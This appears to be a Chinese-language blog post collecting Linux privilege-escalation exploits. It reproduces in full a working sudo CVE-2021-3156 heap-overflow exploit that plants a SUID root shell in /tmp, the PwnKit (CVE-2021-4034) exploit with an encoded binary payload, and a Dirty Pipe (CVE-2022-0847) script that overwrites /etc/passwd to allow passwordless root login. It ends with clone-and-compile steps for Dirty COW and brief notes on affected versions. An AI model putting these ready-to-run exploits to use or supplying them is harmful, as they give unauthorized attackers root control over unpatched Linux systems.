LINUX提权-2022年

发布于 2022-08-05  120 次阅读


  1. CVE-2021-3156
#!/usr/bin/python
'''
Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya

This exploit requires:
- glibc without tcache
- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole)
- disable-root-mailer is not set
- /tmp is not mounted with nosuid (need modify SHELL_PATH)

Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing

Without glibc tcache, a heap layout rarely contains hole.
The heap overflow vulnerability is triggered after parsing /etc/sudoers.
The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).

In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function.
It is called update heap buffer overflow. So we can update def_* value by overwriting
struct defatuls (need type=DEFAULTS_CMND and fake binding).

Tested on:
- CentOS 7 (1.8.23, 1.8.19p2)
- CentOS 6 (1.8.6)
'''
import os
import subprocess
import sys
import resource
import select
import signal
import time
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

try:
        SUID_PATH = os.environ["SUID_PATH"]
        print("Using SUID_PATH = %s" % SUID_PATH)
except:
        pass

def create_bin(bin_path):
        if os.path.isfile(bin_path):
                return  # existed
        try:
                os.makedirs(bin_path[:bin_path.rfind('/')])
        except:
                pass

        import base64, zlib
        bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
        with open(bin_path, 'wb') as f:
                f.write(zlib.decompress(base64.b64decode(bin_b64)))

def create_shell(path, suid_path):
        with open(path, 'w') as f:
                f.write('#!/bin/sh\n')
                f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
                f.write('/bin/chown root.root %s\n' % suid_path)
                f.write('/bin/chmod 4755 %s\n' % suid_path)
        os.chmod(path, 0o755)

def execve(filename, cargv, cenvp):
        libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
        pid = os.fork()
        if pid:
                # parent
                _, exit_code = os.waitpid(pid, 0)
                return exit_code & 0xff7f # remove coredump flag
        else:
                # child
                execve(filename, cargv, cenvp)
                exit(0)

def spawn(filename, argv, envp):
        cargv = (c_char_p * len(argv))(*argv)
        cenvp = (c_char_p * len(envp))(*envp)
        # Note: error with backtrace is print to tty directly. cannot be piped or suppressd
        r, w = os.pipe()
        pid = os.fork()
        if not pid:
                # child
                os.close(r)
                os.dup2(w, 2)
                execve(filename, cargv, cenvp)
                exit(0)
        # parent
        os.close(w)
        # might occur deadlock in heap. kill it if timeout and set exit_code as 6
        # 0.5 second should be enough for execution
        sr, _, _ = select.select([ r ], [], [], 0.5)
        if not sr:
                os.kill(pid, signal.SIGKILL)
        _, exit_code = os.waitpid(pid, 0)
        if not sr: # timeout, assume dead lock in heap
                exit_code = 6

        r = os.fdopen(r, 'r')
        err = r.read()
        r.close()
        return exit_code & 0xff7f, err  # remove coredump flag

def has_askpass(err):
        # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
        return 'sudoedit: no askpass program ' in err

def has_not_permitted_C_option(err):
        # 'sudoedit: you are not permitted to use the -C option'
        return 'not permitted to use the -C option' in err

def get_sudo_version():
        proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
        for line in proc.stdout:
                line = line.strip()
                if not line:
                        continue
                if line.startswith('Sudo version '):
                        txt = line[13:].strip()
                        pos = txt.rfind('p')
                        if pos != -1:
                                txt = txt[:pos]
                        versions = list(map(int, txt.split('.')))
                        break

        proc.wait()
        return versions

def check_sudo_version():
        sudo_vers = get_sudo_version()
        assert sudo_vers[0] == 1, "Unexpect sudo major version"
        assert sudo_vers[1] == 8, "Unexpect sudo minor version"
        return sudo_vers[2]

def check_mailer_root():
        if not os.access(SUDO_PATH, os.R_OK):
                print("Cannot determine disble-root-mailer flag")
                return True
        return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1

def find_cmnd_size():
        argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
        env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]

        size_min, size_max = 0xc00, 0x2000
        found_size = 0
        while size_max - size_min > 0x10:
                curr_size = (size_min + size_max) // 2
                curr_size &= 0xfff0
                print("\ncurr size: 0x%x" % curr_size)
                argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
                exit_code, err = spawn(SUDO_PATH, argv, env)
                print("\nexit code: %d" % exit_code)
                print(err)
                if exit_code == 256 and has_askpass(err):
                        # need pass. no crash.
                        # fit or almost fit
                        if found_size:
                                found_size = curr_size
                                break
                        # maybe almost fit. try again
                        found_size = curr_size
                        size_min = curr_size
                        size_max = curr_size + 0x20
                elif exit_code in (7, 11):
                        # segfault. too big
                        if found_size:
                                break
                        size_max = curr_size
                else:
                        assert exit_code == 6
                        # heap corruption. too small
                        size_min = curr_size

        if found_size:
                return found_size
        assert size_min == 0x2000 - 0x10
        # old sudo version and file is in /etc/sudoers.d
        print('has 2 holes. very large one is bad')

        size_min, size_max = 0xc00, 0x2000
        for step in (0x400, 0x100, 0x40, 0x10):
                found = False
                env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
                for curr_size in range(size_min, size_max, step):
                        argv[-2] = b"A"*(curr_size-0x10)+b'\\'
                        exit_code, err = spawn(SUDO_PATH, argv, env)
                        print("\ncurr size: 0x%x" % curr_size)
                        print("\nexit code: %d" % exit_code)
                        print(err)
                        if exit_code in (7, 11):
                                size_min = curr_size
                                found = True
                        elif found:
                                print("\nsize_min: 0x%x" % size_min)
                                break
                assert found, "Cannot find cmnd size"
                size_max = size_min + step

        # TODO: verify
        return size_min

def find_defaults_chunk(argv, env_prefix):
        offset = 0
        pos = len(env_prefix) - 1
        env = env_prefix[:]
        env.extend([ b"LC_ALL=C", b"TZ=:", None ])
        # overflow until sudo crash without asking pass
        # crash because of defaults.entries.next is overwritten
        while True:
                env[pos] += b'A'*0x10
                exit_code, err = spawn(SUDO_PATH, argv, env)
                print("\ncurr offset: 0x%x" % offset)
                print("exit code: %d" % exit_code)
                print(err)
                # 7 bus error, 11 segfault
                if exit_code in (7, 11) and not has_not_permitted_C_option(err):
                        # found it
                        env[pos] = env[pos][:-0x10]
                        break
                offset += 0x10

        # verify if it is defaults
        env = env[:-3]
        env[-1] += b'\x41\\' # defaults chunk size 0x40
        env.extend([
                b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
                (b'' if has_tailq else b'A'*8) + # prev if no tailq
                b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
                (b'A'*8 if has_tailq else b'') + # entries.prev
                pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
                b"A"*(0x20-1), # binding, file, type, op, error, lineno
                b"LC_ALL=C", b"TZ=:", None
        ])

        exit_code, err = spawn(SUDO_PATH, argv, env)
        print("\nretrying with vsyscall")
        print("exit code: %d" % exit_code)
        print(err)
        # old sudo verion has no cleanup if authen fail. exit code is 256.
        assert exit_code in (256, 11) and has_not_permitted_C_option(err), "cannot find defaults chunk"
        return offset

def create_env(offset_defaults):
        with open('/proc/sys/kernel/randomize_va_space') as f:
                has_aslr = int(f.read()) != 0
        if has_aslr:
                STACK_ADDR_PAGE = 0x7fffe5d35000
        else:
                STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled

        SA = STACK_ADDR_PAGE

        ADDR_MEMBER_PREV = pack('<Q', SA+8)
        ADDR_MEMBER_LAST = ADDR_MEMBER_PREV

        ADDR_MEMBER = pack('<Q', SA+0x20)
        ADDR_DEF_BINDING = ADDR_MEMBER

        ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
        ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)

        ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
        ADDR_DEF_BAD    = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)

        # no need to make cleanup without a crash. mailer is executed before cleanup steps
        # def_mailto is always set
        # def_mailerflags is mailer arguments
        epage = [
                b'A'*0x8 + # to not ending with 0x00

                ADDR_MEMBER[:6], b'',  # pointer to member
                ADDR_MEMBER_PREV[:6], b'',  # pointer to member

                # member chunk (and defaults->binding (list head))
                b'A'*8 + # chunk size
                b'', b'', b'', b'', b'', b'', b'', b'', # members.first
                ADDR_MEMBER_LAST[:6], b'', # members.last
                b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
                pack('<H', MATCH_ALL), b'',  # type, negated
                b'A'*0xc + # padding

                # var (mailer)
                b'A'*8 + # chunk size
                b"mailerpath", b'A'*5 +
                # val (mailer) (assume path length is less than 32)
                SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
                # var (mail_always)
                b"mail_always", b'A'*4 +

                # defaults (invalid mail_always, has val)
                (b'' if has_tailq else b'A'*8) + # prev if no tailq
                b'', b'', b'', b'', b'', b'', b'', b'', # next
                (b'A'*8 if has_tailq else b'') + # prev if has tailq
                ADDR_ALWAYS_VAR[:6], b'', # var
                ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
                ADDR_DEF_BINDING[:6], b'', # binding or binding.first
        ]
        if has_file:
                epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
        elif not has_tailq:
                epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
        epage.extend([
                pack('<H', DEFAULTS_CMND) + # type
                b'', b'', # for type is 4 bytes version
        ])

        env = [
                b'A'*(7+0x4010+0x110+offset_defaults) +
                b'A'*8 + # chunk metadata
                (b'' if has_tailq else b'A'*8) + # prev if no tailq
                ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
                (b'A'*8 if has_tailq else b'') + # prev if has tailq
                ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
                ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
                ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
        ]
        if has_file or not has_tailq:
                env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
        env.extend([
                pack('<H', DEFAULTS_CMND) + # type
                (b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
                b"LC_ALL=C",
                b"TZ=:",
                b"SUDO_ASKPASS=/invalid",
        ])

        cnt = sum(map(len, epage))
        padlen = 4096 - cnt - len(epage)
        epage.append(b'P'*(padlen-1))

        ENV_STACK_SIZE_MB = 4
        for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
                env.extend(epage)

        # reserve space in last element for '/usr/bin/sudo' and padding
        env[-1] = env[-1][:-14-8]
        env.append(None)
        return env

def run_until_success(argv, env):
        cargv = (c_char_p * len(argv))(*argv)
        cenvp = (c_char_p * len(env))(*env)

        create_bin(SUID_PATH)
        create_shell(SHELL_PATH, SUID_PATH)

        # don't redirect to null as some output helps understanding if exploit works as expected
        # and it only prints when success
        #null_fd = os.open('/dev/null', os.O_RDWR)
        #os.dup2(null_fd, 2)

        for i in range(65536):
                sys.stdout.write('%d\r' % i)
                if i % 8 == 0:
                        sys.stdout.flush()
                exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
                # on success, give it some time for the binary to execute
                if exit_code == 256:
                        time.sleep(2)
                if os.path.exists(PWNED_PATH):
                        print("success at %d" % i)
                        if os.stat(PWNED_PATH).st_uid != 0:
                                print("ROOT MAILER is disabled :(")
                        else:
                                print('execute "%s" to get root shell' % SUID_PATH)
                        break
                if exit_code not in (7, 11):
                        print("invalid offset. exit code: %d" % exit_code)
                        break

def main():
        cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
        offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None

        if cmnd_size is None:
                cmnd_size = find_cmnd_size()
                print("found cmnd size: 0x%x" % cmnd_size)

        argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]

        env_prefix = [ b'A'*(7+0x4010+0x110) ]

        if offset_defaults is None:
                offset_defaults = find_defaults_chunk(argv, env_prefix)
        assert offset_defaults != -1

        print('')
        print("cmnd size: 0x%x" % cmnd_size)
        print("offset to defaults: 0x%x" % offset_defaults)

        argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
        env = create_env(offset_defaults)
        run_until_success(argv, env)

if __name__ == "__main__":
        # global intialization
        assert check_mailer_root(), "root mailer is disabled"
        sudo_ver = check_sudo_version()
        DEFAULTS_CMND = 269
        if sudo_ver >= 15:
                MATCH_ALL = 284
        elif sudo_ver >= 13:
                MATCH_ALL = 282
        elif sudo_ver >= 7:
                MATCH_ALL = 280
        elif sudo_ver < 7:
                MATCH_ALL = 279
                DEFAULTS_CMND = 268

        has_tailq = sudo_ver >= 9
        has_file = sudo_ver >= 19  # has defaults.file pointer
        main()
  • 漏洞确定
    • sudo --version 查看sudo版本
    • sudoedit -s / 如果返回以sudoedit:开头的错误,则当前系统可能存在安全风险;
    • 不受影响的系统将显示以usage:开头的错误。
    • 漏洞范围(影响版本:sudo 1.8.2-1.8.31p2、sudo 1.9.0-1.9.5p1)
  • CVE-2021-4034
# https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
  1. Polkit > 2009
  2. https://github.com/ly4k/PwnKit
  3. Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限
  • CVE-2022-0847
#/bin/bash
cat>exp.c<<EOF
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}
EOF

gcc exp.c -o exp -std=c99

# 备份密码文件
cp /etc/passwd /tmp/passwd
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

# 现在可以无需密码切换到root账号
su root
  1. Linux Kernel版本 >= 5.8
    Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
  2. 漏洞复现
  1. 运行后,切换root无需密码
  2. 发现新管道缓冲区结构的“标志”成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。
    它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
    它类似于CVE-2016-5195 “Dirty Cow”,但更容易被利用。
  • CVE-2016-5195(脏牛)
  1. git clone https://github.com/FireFart/dirtycow.git
    https://github.com/gbonacini/CVE-2016-5195也可以用,上传上去再编译
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty 123456
    CVE-2016-5195(脏牛)原理:linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。影响版本:Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1
    等待一分钟左右即可
子夜不哭
最后更新于 2022-08-05